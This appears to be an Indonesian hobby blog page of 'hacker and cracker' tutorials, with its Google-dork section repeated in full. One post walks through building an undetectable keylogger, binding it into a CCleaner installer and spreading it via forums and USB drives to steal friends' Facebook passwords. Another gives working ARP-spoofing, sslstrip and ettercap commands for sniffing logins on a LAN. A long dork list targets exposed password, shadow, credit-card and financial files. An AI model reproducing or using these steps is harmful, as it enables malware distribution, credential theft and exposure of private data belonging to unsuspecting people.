Unduh Adobe Flash player
Di sini temen-temen bisa dapatkan ilmu yg bermanfaat mulai dari tips-trick, hacker and cracker, masalah instalasi, jaringan,service HP, pembelajaran wajib,software,templats,tutorial,you tube dan masih banyak lagi yg penting ada kemauan untuk bisa, mari kita belajar sama-sama bersama saya munawir usman temen-temen bisa hubungi saya melalui Nomor HP pribadi saya 087763395633

MUNAWIR USMAN TKJ SMK N 2 SELONG

petak artikel


  • google
  • [ - Munawir Usman - ]
  • Tampilkan postingan dengan label hacker and cracker. Tampilkan semua postingan
    Tampilkan postingan dengan label hacker and cracker. Tampilkan semua postingan
    Tool hacking lengkap dengan Backtrack
    28 Agustus 2012 by Munawir Usman in Label:

              Jika ditanya, tool hacking apa yang paling lengkap? maka jawabanya langsung dan tegas "Backtrack". Backtrack adalah salah satu distro linux yang dibuat khusus untuk mengetahui dan menembus keamanan sebuah sistem. Backtrack dapat diinstal di komputer atau cukup dijalankan melalui Live CD.

    Backtrack final diluncurkan pertama kali pada tanggal 26 Mei 2006 oleh Mati Aharoni dan Max Moser. Versi terbaru dari Backtrack telah mencapai versi 4. Terdapat banyak perubahan pada versi terbaru ini, jika sebelumnya Backtrack dibuat berbasis Slackware, maka versi 4 terbaru ini berbasis Debian.



    Backtrack dilengkapi lebih dari 300 tools hacking dan keamanan populer. Ini merupakan jumlah yang sangat besar untuk koleksi tools keamanan. Backtrack juga menjadi tools paling populer untuk mengetahui keamanan jaringan.

    Berikut beberapa tools dan fitur security populer yang ada di dalam Backtrack:

    1. Metasploit
    2. RFMON Injection
    3. Kismet
    4. Auto-scan Network
    5. nMap
    6. Ettercap
    7. Wireshark/Ethereal
    dan lain-lain, lihat lengkapnya di situs resmi Backtrack

    Download Backtrack:
    - Melalui Situs Resmi
    - Melalui Softpedia
    - Mirror Server Indonesia



    semoga artikel yang saya telah share ini bisa berguna untuk sobat semua...!!

    Cara Hack Account Fb Dari Jarak Jauh
    03 Agustus 2012 by Munawir Usman in Label:


    Cara Hack Account Fb Dari Jarak Jauh

    Halo teman-teman saya hari ini akan menjelaskan kepada anda cara hack password atau akun dari jarak jauh dengan menggunakan keylogger. Sistem kerjanya 100% hack dan Anda dapat dengan mudah hack akun Facebook atau password menggunakan hack ini. Dalam tutorial ini saya akan menjelaskan kepada Anda bagaimana untuk hack Facebook dan password lain dari pengguna manapun menggunakan 100% keylogger FUD. Keylogger dalam tutorial ini kita akan bahas adalah L33ts keylogger dan 100% FUD (sepenuhnya tidak terdeteksi).


    Hacking account Facebook sangat mudah dan hanya memerlukan tidak lebih dari 10 menit kerja. Jangan khawatir saya juga akan memberitahu Anda bagaimana untuk melindungi account facebook anda atau password dari hacks tersebut dan . Tapi untuk ini anda harus tahu bagaimana hacker hack account facebook anda. Jadi pertama saya mengajarkan anda cara hack account facebook jarak jauh dan kemudian saya akan memberitahu bagaimana melindungi diri dari ini.

    CATATAN: Tutorial ini hanya untuk tujuan Pendidikan yaitu untuk membuat Anda sadar hacker dapat hack account . Tolong jangan menyalahgunakan trick ini. T.B tidak bertanggung jawab atas segala kerusakan yang disebabkan oleh Anda.

    Jadi Ways mari kita mulai hacking akun Facebook atau password ....

    Langkah-langkah untuk hack account menggunakan keylogger:


    1. Membuat Server keylogger untuk hack password.
    2. Ekstrak Icon dari installer.
    3. Bind server keylogger dengan setup perangkat lunak.
    4. Bagaimana untuk menyebarkan keylogger Anda atau mengirimkannya ke teman Anda untuk hack Facebook atau password.

    Step 1. Membuat Keylogger Server


    1.Download Keylogger

       Download
     

    2. Ekstrak file, Sekarang Anda akan mendapatkan dua folder:
    a. Pertama satu berisi Keylogger dan Binder
    b. Kedua Berisi tool Resource Hacker. (untuk mengekstrak ikon dari installer).
    (Matikan Anda Sebelum Mengextrack File)

    3. Sekarang buka keylogger. Ini berisi dua file satu untuk email dan lainnya untuk password. Untuk membuat satu account di Gmail uji dan masukkan rincian itu dalam hal ini.



    (Click Gambar Untuk Memperbesar)

    4. Setelah memasukkan email dan password. Setel interval waktu biasanya ditetapkan 3 menit yaitu setelah berapa banyak waktu yang Anda inginkan untuk menerima log dari pengguna.
    5. Sekarang klik pada mengirim email verifikasi. Mail ini adalah untuk menguji bahwa keylogger Anda bekerja dengan benar atau tidak.
    6. Setelah Anda mengklik ini Anda akan menerima email konfirmasi di test account yang akan mengkonfirmasi keylogger yang bekerja.
    7. Sekarang klik generate untuk mengatur mutex tersebut (setiap kunci rahasia untuk membuat keylogger Anda FUD) dan kemudian klik pada compile server.
    8. Sekarang simpan file ke atau di lokasi lain pilihan Anda. Sekarang server Anda sudah siap namun dapat dengan mudah dideteksi.

    Langkah 2: Ekstrak file Icon dari installer (hacker sumber daya)



    1. Buka folder resource hacker dan buka file reshacker.
    2. Sekarang, masuklah ke menu dan buka file setup. Misalkan kita ingin melampirkan keylogger kami untuk file setup CCleaner. Jadi buka setup CCleaner dengan reshacker
    3. Sekarang di menu ada satu tindakan tombol klik dan kemudian klik simpan semua reshacker


    (Click Gambar Untuk Memperbesar)

    4. Sekarang simpan semua reshacker untuk desktop atau di lokasi lain pilihan Anda.
    5. Ini terdiri dari dua file satu adalah ikon file dan lainnya adalah file res. Kita hanya perlu file icon, sehingga Anda dapat menghapus file file lain yaitu res.
    6. Sekarang kita memiliki Icon of file installer (seperti dibahas di atas setup CCleaner Icon).


    Langkah 3: Bind server keylogger dengan software apapun

    1. Sekarang Pergi ke folder keylogger dan buka Binder.
    2. Sekarang Klik pada tombol + diberikan di bawah ini untuk menambahkan file.
    3. Sekarang tambahkan server keylogger dan mengatur perangkat lunak (misalnya dalam kasus kami itu setup CCleaner).
    4. Sekarang di menu Binder, Ke Pengaturan. Ada pilih ikon yang kita telah dihasilkan pada langkah sebelumnya dan menetapkan lokasi file output seperti yang ditunjukkan pada gambar.



    5. Sekarang pergi lagi ke menu File di Binder dan klik pada file Bind.
    6. Sekarang keylogger binded Anda sudah siap. Sekarang Anda harus menyebarkan atau kirimkan ke korban yaitu teman Anda.


    Langkah 4: Cara Penyebaran Keylogger atau mengirimkannya ke korban atau teman

    1. Sekarang Anda memiliki satu software file setup dengan keylogger terpasang dengan itu (Dalam kasus kami. kita harus setup CCleaner dengan keylogger terpasang dengan itu.
    2. Sekarang Spread keylogger Anda melalui forum. Anda mungkin menjadi anggota dari berbagai forum menggunakannya untuk menyebarkan keylogger Anda dalam bentuk posting perangkat lunak. Dapat menggunakan berbagai perangkat lunak untuk menyebarkan mereka bahwa pengguna sering download.
    3. Menyebar melalui Pendrives atau drive hard. Misalkan seorang teman meminta Anda untuk perangkat lunak memberikan perangkat lunak yang telah terpasang keylogger

    Catatan: Anda juga dapat memasang keylogger dengan gambar juga. Tapi itu bisa dideteksi oleh antivirus. Jadi menghindari jenis seperti hacking.
    Jadi tidaklah begitu mudah untuk hack account Facebook siapa pun hanya dalam beberapa menit.

    Bagaimana melindungi diri dari hacks?
    Pencegahan selalu lebih baik daripada mengobati jadi selalu ikuti langkah-langkah:
    1. Jangan gunakan perangkat lunak retak dan tidak men-download dari situs yang tidak sah.
    2. Selalu menjaga antivirus dan anti-spyware up to date.
    3. Selalu scan file sebelum memindahkan mereka ke USB.
    4. Jangan mengizinkan pengguna lain untuk menggunakan password yaitu Anda melindunginya.


    semoga artikel yang saya telah share ini bisa berguna untuk sobat semua...!!

    Cara Hacking FaceBook di Jaringan LAN menggunakan Backtrack 4
    by Munawir Usman in Label:

    *Setting LAN IP dan DNS*
    perintah - perintah berikut di tuliskan pada shell linux
    1. sudo vi /etc/network/interfaces
    2. pada bagian eth0 kita rubah bagian inet dhcp ke inet static
    3. kemudian tambahkan kalimat berikut (tergantung pada class range pada suatu jaringan)
    - address 192.168.101.41
    - network 192.168.101.0
    - broadcast 192.168.101.255
    - netmask 255.255.255.0
    - gateway 192.168.101.1
    4. simpan script diatas dengan mengetik esc kemudian ketik :wq
    5. untuk membuat dns ketikkan perintah
    sudo vi /etc/resolv.conf
    kemudian tambahkan kalimat berikut :
    nameserver [ip dns]

    *Meload network konfigurasi*
    untuk menjalankan / meload network konfigurasi ketikkan kalimat berikut
    sudo /etc/init.d/networking [start|restart|stop]

    *Mengaktifkan IP forwarder*
    echo 1 > /proc/sys/net/ipv4/ip_forw
    ard
    untuk mengecek apakah nilai dari ip_forward sama dengan 1 ketikkan
    cp /proc/sys/net/ipv4/ip_forward

    *Membuat PORT REDIRECT*
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000

    *Aktifkan SSLStrip*
    sslstrip -a -f -k

    *Spoofing jaringan dengan ARP Spoof*
    arpspoof -i eth0 -t [ip target] [routers]

    *Membaca Password dan Username dengan ettercape*
    ettercap -T -q -i eth0


    semoga artikel yang saya telah share ini bisa berguna untuk sobat semua...!!

    Hacking, Mencari Password Melalui Google
    13 Juni 2012 by Munawir Usman in Label:

    caranya perhatikan baik-baik :
     
    Pertama, Anda bisa mencari dari :
    1. Iklan Google yang ada di semua situs, hasilnya akan sama saja.
    2. Tombol Google search yang ada di toolbar.
    3. Google main search Engine : http://www.google.com

    Selanjutnya agar pencarian bisa paling mendekati keinginan Anda, ikuti tips berikut :

    Dibawah ini akan dijelaskan tentang perintah khusus pada Google, dan akan dijelaskan pengertian dan penggunaan dari tiap – tiap perintah untuk mendapatkan informasi tersembunyi dan sangat penting.

    "Intitle:" ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan judul yang mengandung informasi pada topik yangdimaksud. Sebagai contoh pada pencarian, “intitle:password admin “ ( tanpa tanda kutip ). Pencarian akan mencari page yang mengandung kata “ password “ sebagai judulnya dengan prioritas utama “admin” .Jika pada pencarian terdapat dua query pencarian utama, digunakan sintaks allintitle: untuk pencarian secara lengkap. Sebagai contoh pada pencarian “allintitle:admin mdb”. Maka pencarian akan dibatasi pada dua subjek utama judul yaitu “admin” dan “mdb”.

    “inurl:” ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan semua URL yang hanya berisi kata kunci informasi yang dimaksudkan. Sebagai contoh pencarian dalam pencarian,”inurl : database mdb”. Pencarian akan menghasilkan semua URL yang hanya mengandung informasi tentang “database mdb “.


    Hal yang sama juga berlaku pada sintaks ini, jika terdapat dua query pencarian utama, digunakan sintaks “allinurl:” untuk mendapatkan list url tersebut. Sebagai contoh pencarian “allinurl: etc/passwd“ , pencarian akan menghasilkan URL yang mengandung informasi tentang “etc” dan “passwd”. Tanda garis miring slash (“/”) diantara dua kata etc dan passwd akan diabaikan oleh mesin pencari Google.


    >“site:” ialah sintaks perintah untuk membatasi pencarian suatu query informasi berdasarkan pada suatu situs atau domain tertentu. Sebagai contoh pada pencarian informasi: “waveguide site:itb.ac.id” (tanpa tanda kutip). Pencarian akan mencari topic tentang waveguide pada semua halaman yang tersedia pada domain itb.ac.id.


    “cache:” akan menunjukkan daftar web yang telah masuk kedalam indeks database Google.

    Sebagai contoh:

    “cache:deffcon.org”, pencarian akan memperlihatkan list yang disimpan pada Google untuk page deffcon.org


    “filetype:” ialah sintaks perintah pada Google untuk pencarian data pada internet dengan ekstensi tertentu (i.e. doc, pdf or ppt etc). Sebagai contoh pada pencarian :


    “filetype:doc site:go.id confidental” ( tanpa tanda kutip). Pencarian akan menghasilkan file data dengan ekstensi “.doc” pada semua domain go.id yang berisi informasi “confidential”.


    “link:” ialah sintaks perintah pada Google yang akan menunjukkan daftar list webpages yang memiliki link pada webpage special. Sebagai contoh:“link:www.securityfocus.com” akan menunjuukan daftar webpage yang memiliki point link pada page SecurityFocus.


    “related:” sintaks ini akan memberikan daftar web pages yang serupa dengan web page yang di indikasikan. Sebagai contoh: “related:www.securityfocus.com”, pencarian akan memberi daftar web page yang serupa dengan homepage Securityfocus.


    “intext:” sintaks perintah ini akan mencari kata kata pada website tertentu. Perintah ini mengabaikan link atau URL dan judul halaman. Sebagai contoh :“intext:admin” (tanpa tanda petik), pencarian akan menghasilkan link pada web page yang memiliki keyword yang memiliki keyword admin.


    Pada kesempatan ini dipaparkan bagaimana penggunaan sintaks “index of” untuk mendapatkan hubungan pada webserver dengan direktori indeks browsing yang dapat diakses.. Hal tersebut merupakan sumber informasi yang sederhana dapat diperoleh, akan tetapi isi dari informasi seringkali merupakan informasi yang sangat penting. Informasi tersebut dapat saja berupa password akses atau data transaksi online dan hal yang sangat penting lainnya. Dibawah ini merupakan beberapa contoh penggunaan sintaks “ indeks of” untuk mendapatkan informasi yang penting dan sensitive sifatnya.


    ex :

    Index of /admin
    Index of /passwd
    Index of /password
    Index of /mail
    "Index of /" +passwd
    "Index of /" +password.txt
    "Index of /" +.htaccess
    "Index of /secret"
    "Index of /confidential"
    "Index of /root"
    "Index of /cgi-bin"
    "Index of /credit-card"
    "Index of /logs"
    "Index of /config"
    "Index of /admin.asp"
    "Index of /login.asp"

    Sintaks “inurl:” atau “allinurl:” dapat dikombinasikan dengan sintaks yang lainnya seperti pada daftar dibawah ini :

    inurl: /cgi-bin/cart32.exe
    inurl:admin filetype:txt
    inurl:admin filetype:db
    inurl:admin filetype:cfg
    inurl:mysql filetype:cfg
    inurl:passwd filetype:txt
    inurl:iisadmin
    inurl:auth_user_file.txt
    inurl:orders.txt
    inurl:"wwwroot/*."
    inurl:adpassword.txt
    inurl:webeditor.php
    inurl:file_upload.php
    inurl:gov filetype:xls "restricted"
    index of ftp +.mdb allinurl:/cgi-bin/ +mailto allinurl:/scripts/cart32.exe
    llinurl:/CuteNews/show_archives.php
    allinurl:/phpinfo.php
    allinurl:/privmsg.php
    allinurl:/privmsg.php
    inurl:cgi-bin/go.cgi?go=*
    allinurl:.cgi?page=*.txt
    allinurul:/modules/My_eGallery

    Penggunaan lain dari sintaks “intitle:” atau “allintitle:” yang dikombinasikan dengan sintaks lainnya antara lain :

    intitle:"Index of" .sh_history
    intitle:"Index of" .bash_history
    ntitle:"index of" passwd
    intitle:"index of" people.lst
    intitle:"index of" pwd.db
    intitle:"index of" etc/shadow
    intitle:"index of" spwd
    intitle:"index of" master.passwd
    intitle:"index of" htpasswd
    intitle:"index of" members OR accounts
    intitle:"index of" user_carts OR user_cart
    allintitle: sensitive filetype:doc
    allintitle: restricted filetype :mail
    allintitle: restricted filetype:doc site:gov
    allintitle:*.php?filename=*
    allintitle:*.php?page=*
    allintitle:*.php?logon=*

    Dibawah ini ada beberapa contoh kasus:
    (silahkan mencoba...segala resiko berkenaan dengan security website yang dituju...merupakan tanggung jawab masing-masing)

    Operator dasar

    +, -, ~ , ., *, “”, |, OR

    Operator tambahan

    allintext:, allintitle:, allinurl:, bphonebook:, cache:, define:, filetype:, info:, intext:, intitle:, inurl:, link:, phonebook:, related:, rphonebook:, site:, numrange:, daterange

    Extensi yang dapat dicari:
    HyperText Markup Language (html)
    Microsoft PowerPoint (ppt)
    Adobe Portable Document Format (pdf)
    Microsoft Word (doc)
    Adobe PostScript (ps)
    Microsoft Works (wks, wps, wdb)
    Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)
    Microsoft Excel (xls)
    Microsoft Write (wri)
    Lotus WordPro (lwp)
    Rich Text Format (rtf)
    MacWrite (mw)
    Shockwave Flash (swf)
    Text (ans, txt)

    Pencarian berdasarkan range
    komputer Rp5000000..7000000

    Pencarian gaji
    Salary filetype: xls site: edu
    Salary filetype: xls site: edu

    Informasi financial
    Filetype: xls “checking account” “credit card” -intext: Application -intext: Form
    Intitle: “Index of” finances.xls

    Mencari inbox e-mail
    Intitle: Index.of inurl: Inbox (456) (mit mailbox)
    Intitle: Index.of inurl: Inbox (inurl: User OR inurl: Mail) (220)

    Mendeteksi OS
    "Microsoft-IIS/5.0 server at”
    Intitle: “Welcome to Windows 2000 Internet Services” IIS 5.0
    Intitle: Test.Page.for.Apache seeing.this.instead
    Intitle: Test.page “SSL/TLS-aware”

    Mencari password
    Inurl: etc inurl: passwd
    Intitle: “Index of..etc” passwd
    "# -FrontPage-" inurl: service.pwd
    Inurl: admin.pwd filetype: pwd
    Filetype: inc dbconn
    Filetype: inc intext: mysql_connect
    Filetype: ini +ws_ftp +pwd
    Filetype: log inurl: “password.log”

    Mencari User Name
    +intext: "webalizer" +intext: “Total Usernames” +intext: “Usage Statistics for”

    Mencari License Key
    Filetype: lic lic intext: key

    Sensitve Directories Listing
    Intitle: “Index of” cfide
    Intitle: index.of.winnt
    Intitle: “index of” iissamples
    Pertama, Anda bisa mencari dari :
    1. Iklan Google yang ada di semua situs, hasilnya akan sama saja.
    2. Tombol Google search yang ada di toolbar.
    3. Google main search Engine : http://www.google.com

    Selanjutnya agar pencarian bisa paling mendekati keinginan Anda, ikuti tips berikut :

    Dibawah ini akan dijelaskan tentang perintah khusus pada Google, dan akan dijelaskan pengertian dan penggunaan dari tiap – tiap perintah untuk mendapatkan informasi tersembunyi dan sangat penting.

    "Intitle:" ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan judul yang mengandung informasi pada topik yangdimaksud. Sebagai contoh pada pencarian, “intitle:password admin “ ( tanpa tanda kutip ). Pencarian akan mencari page yang mengandung kata “ password “ sebagai judulnya dengan prioritas utama “admin” .Jika pada pencarian terdapat dua query pencarian utama, digunakan sintaks allintitle: untuk pencarian secara lengkap. Sebagai contoh pada pencarian “allintitle:admin mdb”. Maka pencarian akan dibatasi pada dua subjek utama judul yaitu “admin” dan “mdb”.

    “inurl:” ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan semua URL yang hanya berisi kata kunci informasi yang dimaksudkan. Sebagai contoh pencarian dalam pencarian,”inurl : database mdb”. Pencarian akan menghasilkan semua URL yang hanya mengandung informasi tentang “database mdb “.


    Hal yang sama juga berlaku pada sintaks ini, jika terdapat dua query pencarian utama, digunakan sintaks “allinurl:” untuk mendapatkan list url tersebut. Sebagai contoh pencarian “allinurl: etc/passwd“ , pencarian akan menghasilkan URL yang mengandung informasi tentang “etc” dan “passwd”. Tanda garis miring slash (“/”) diantara dua kata etc dan passwd akan diabaikan oleh mesin pencari Google.


    >“site:” ialah sintaks perintah untuk membatasi pencarian suatu query informasi berdasarkan pada suatu situs atau domain tertentu. Sebagai contoh pada pencarian informasi: “waveguide site:itb.ac.id” (tanpa tanda kutip). Pencarian akan mencari topic tentang waveguide pada semua halaman yang tersedia pada domain itb.ac.id.


    “cache:” akan menunjukkan daftar web yang telah masuk kedalam indeks database Google.

    Sebagai contoh:

    “cache:deffcon.org”, pencarian akan memperlihatkan list yang disimpan pada Google untuk page deffcon.org


    “filetype:” ialah sintaks perintah pada Google untuk pencarian data pada internet dengan ekstensi tertentu (i.e. doc, pdf or ppt etc). Sebagai contoh pada pencarian :


    “filetype:doc site:go.id confidental” ( tanpa tanda kutip). Pencarian akan menghasilkan file data dengan ekstensi “.doc” pada semua domain go.id yang berisi informasi “confidential”.


    “link:” ialah sintaks perintah pada Google yang akan menunjukkan daftar list webpages yang memiliki link pada webpage special. Sebagai contoh:“link:www.securityfocus.com” akan menunjuukan daftar webpage yang memiliki point link pada page SecurityFocus.


    “related:” sintaks ini akan memberikan daftar web pages yang serupa dengan web page yang di indikasikan. Sebagai contoh: “related:www.securityfocus.com”, pencarian akan memberi daftar web page yang serupa dengan homepage Securityfocus.


    “intext:” sintaks perintah ini akan mencari kata kata pada website tertentu. Perintah ini mengabaikan link atau URL dan judul halaman. Sebagai contoh :“intext:admin” (tanpa tanda petik), pencarian akan menghasilkan link pada web page yang memiliki keyword yang memiliki keyword admin.


    Pada kesempatan ini dipaparkan bagaimana penggunaan sintaks “index of” untuk mendapatkan hubungan pada webserver dengan direktori indeks browsing yang dapat diakses.. Hal tersebut merupakan sumber informasi yang sederhana dapat diperoleh, akan tetapi isi dari informasi seringkali merupakan informasi yang sangat penting. Informasi tersebut dapat saja berupa password akses atau data transaksi online dan hal yang sangat penting lainnya. Dibawah ini merupakan beberapa contoh penggunaan sintaks “ indeks of” untuk mendapatkan informasi yang penting dan sensitive sifatnya.


    ex :

    Index of /admin
    Index of /passwd
    Index of /password
    Index of /mail
    "Index of /" +passwd
    "Index of /" +password.txt
    "Index of /" +.htaccess
    "Index of /secret"
    "Index of /confidential"
    "Index of /root"
    "Index of /cgi-bin"
    "Index of /credit-card"
    "Index of /logs"
    "Index of /config"
    "Index of /admin.asp"
    "Index of /login.asp"

    Sintaks “inurl:” atau “allinurl:” dapat dikombinasikan dengan sintaks yang lainnya seperti pada daftar dibawah ini :

    inurl: /cgi-bin/cart32.exe
    inurl:admin filetype:txt
    inurl:admin filetype:db
    inurl:admin filetype:cfg
    inurl:mysql filetype:cfg
    inurl:passwd filetype:txt
    inurl:iisadmin
    inurl:auth_user_file.txt
    inurl:orders.txt
    inurl:"wwwroot/*."
    inurl:adpassword.txt
    inurl:webeditor.php
    inurl:file_upload.php
    inurl:gov filetype:xls "restricted"
    index of ftp +.mdb allinurl:/cgi-bin/ +mailto allinurl:/scripts/cart32.exe
    llinurl:/CuteNews/show_archives.php
    allinurl:/phpinfo.php
    allinurl:/privmsg.php
    allinurl:/privmsg.php
    inurl:cgi-bin/go.cgi?go=*
    allinurl:.cgi?page=*.txt
    allinurul:/modules/My_eGallery

    Penggunaan lain dari sintaks “intitle:” atau “allintitle:” yang dikombinasikan dengan sintaks lainnya antara lain :

    intitle:"Index of" .sh_history
    intitle:"Index of" .bash_history
    ntitle:"index of" passwd
    intitle:"index of" people.lst
    intitle:"index of" pwd.db
    intitle:"index of" etc/shadow
    intitle:"index of" spwd
    intitle:"index of" master.passwd
    intitle:"index of" htpasswd
    intitle:"index of" members OR accounts
    intitle:"index of" user_carts OR user_cart
    allintitle: sensitive filetype:doc
    allintitle: restricted filetype :mail
    allintitle: restricted filetype:doc site:gov
    allintitle:*.php?filename=*
    allintitle:*.php?page=*
    allintitle:*.php?logon=*

    Dibawah ini ada beberapa contoh kasus:
    (silahkan mencoba...segala resiko berkenaan dengan security website yang dituju...merupakan tanggung jawab masing-masing)

    Operator dasar

    +, -, ~ , ., *, “”, |, OR

    Operator tambahan

    allintext:, allintitle:, allinurl:, bphonebook:, cache:, define:, filetype:, info:, intext:, intitle:, inurl:, link:, phonebook:, related:, rphonebook:, site:, numrange:, daterange

    Extensi yang dapat dicari:
    HyperText Markup Language (html)
    Microsoft PowerPoint (ppt)
    Adobe Portable Document Format (pdf)
    Microsoft Word (doc)
    Adobe PostScript (ps)
    Microsoft Works (wks, wps, wdb)
    Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)
    Microsoft Excel (xls)
    Microsoft Write (wri)
    Lotus WordPro (lwp)
    Rich Text Format (rtf)
    MacWrite (mw)
    Shockwave Flash (swf)
    Text (ans, txt)

    Pencarian berdasarkan range
    komputer Rp5000000..7000000

    Pencarian gaji
    Salary filetype: xls site: edu
    Salary filetype: xls site: edu

    Informasi financial
    Filetype: xls “checking account” “credit card” -intext: Application -intext: Form
    Intitle: “Index of” finances.xls

    Mencari inbox e-mail
    Intitle: Index.of inurl: Inbox (456) (mit mailbox)
    Intitle: Index.of inurl: Inbox (inurl: User OR inurl: Mail) (220)

    Mendeteksi OS
    "Microsoft-IIS/5.0 server at”
    Intitle: “Welcome to Windows 2000 Internet Services” IIS 5.0
    Intitle: Test.Page.for.Apache seeing.this.instead
    Intitle: Test.page “SSL/TLS-aware”

    Mencari password
    Inurl: etc inurl: passwd
    Intitle: “Index of..etc” passwd
    "# -FrontPage-" inurl: service.pwd
    Inurl: admin.pwd filetype: pwd
    Filetype: inc dbconn
    Filetype: inc intext: mysql_connect
    Filetype: ini +ws_ftp +pwd
    Filetype: log inurl: “password.log”

    Mencari User Name
    +intext: "webalizer" +intext: “Total Usernames” +intext: “Usage Statistics for”

    Mencari License Key
    Filetype: lic lic intext: key

    Sensitve Directories Listing
    Intitle: “Index of” cfide
    Intitle: index.of.winnt
    Intitle: “index of” iissamples
     
    kalo belum jelas 
    temen-temen bisa tinggalkan komentarnya di bawah postingan.....!!

    Popular Posts